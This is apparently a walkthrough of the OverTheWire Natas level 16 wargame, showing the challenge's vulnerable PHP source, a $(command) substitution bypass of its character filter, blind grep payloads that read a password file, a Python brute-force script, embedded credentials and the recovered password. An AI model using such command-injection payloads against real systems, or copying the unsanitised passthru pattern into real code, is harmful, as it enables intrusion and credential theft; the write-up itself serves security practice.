OverTheWire: Natas

Level 16 > Level 17

natas16-01

<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

This challenge appears identical to Natas 10 with the exception of quotes around key in the grep statment, and the banning of the double-quote character from the input. After a little thought, the most obvious capability missed by the filter is the ability to perform command substitution using $(cmd).

I’ll cover this in the order of what I found and what I tried. A journey, not unlike Lord of the Rings but also nothing like Lord of the Rings.

The first thing I noticed is that we can view the entire contents of the dictionary if we use a command which returns nothing to stdout. A command not in PATH is a good example of this, as the error message is displayed to the user via stderr. This isn’t of much consequence now but it will be important later.

natas16-02

The dictionary is of a decent size. If we search for the whatever the first unknown character of the password is, there is very likely only one letter which appears in every result. It would not be hard to find and we could repeat this step for each character in the password.

A proof of concept using the first character for natas16, which we know. Search for $(head -c 1 /etc/natas_webpass/natas16).

natas16-03

The fact the letter ‘W’ alone is a result helps considerably. Unforunately the grep hardcoded into the page is a case insensitive search. Worse yet, numbers do not appear in the dictionary.

natas16-04

That idea is dead.

We need a way to get a yes/no answer to the question of whether a candidate character appears in a given position of the password. Recall the first thing we noticed, that we can make commands with no output. The idea:

Prepend a grep to a prefix-free known word that appears in the dictionary, $(<grep>)<word>. If our grep does not match, it will return nothing, the search will be only for <word>, and we’ll see a result. If it does match, the password will be returned by the grep command, and the search will be for <password><word> which will fail and nothing will be returned. By prefix-free I mean don’t use ‘hat’ because ‘what’ is also in the dictionary which will break our logic.

POC this using the dictionary word ‘penetration’ and the password for natas16 which begins with ‘W.’

Search for ‘W’ which matches our grep and should return no result from their grep:

$(grep ^W /etc/natas_webpass/natas16)penetration

natas16-05

Search for ‘h’, which does not match our grep resulting in a match with their grep:

$(grep ^h /etc/natas_webpass/natas16)penetration

natas16-06

That’s it! Modify the code from Natas 15 to suit the new payload.

import socket

HOST = "natas16.natas.labs.overthewire.org"
PORT = 80
HEAD = """GET /?needle=$(grep%20^{c}%20/etc/natas_webpass/natas17)penetration&submit=Search HTTP/1.1
Host: natas16.natas.labs.overthewire.org
Authorization: Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==
Content-Type: application/x-www-form-urlencoded\r\n\r\n"""
ALPH = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

def natas16(p):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))

    s.send(HEAD.format(c=p))

    r = s.recv(8192)
    s.close()

    if "penetration" not in r:
        return True
    return False

p = ''
for i in xrange(64):
    f = False
    for c in ALPH:
        print p, c
        if natas16(p + c):
            f = True
            p = p + c
            break
    if not f:
        break

print "DONE"
print p

Success! This time an action shot. It’s not very pretty, but when the output from each iteration is small and the process relatively slow, seeing each tick go by is helpful for gauging speed and correct operation.

natas16-07

Eventually, 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw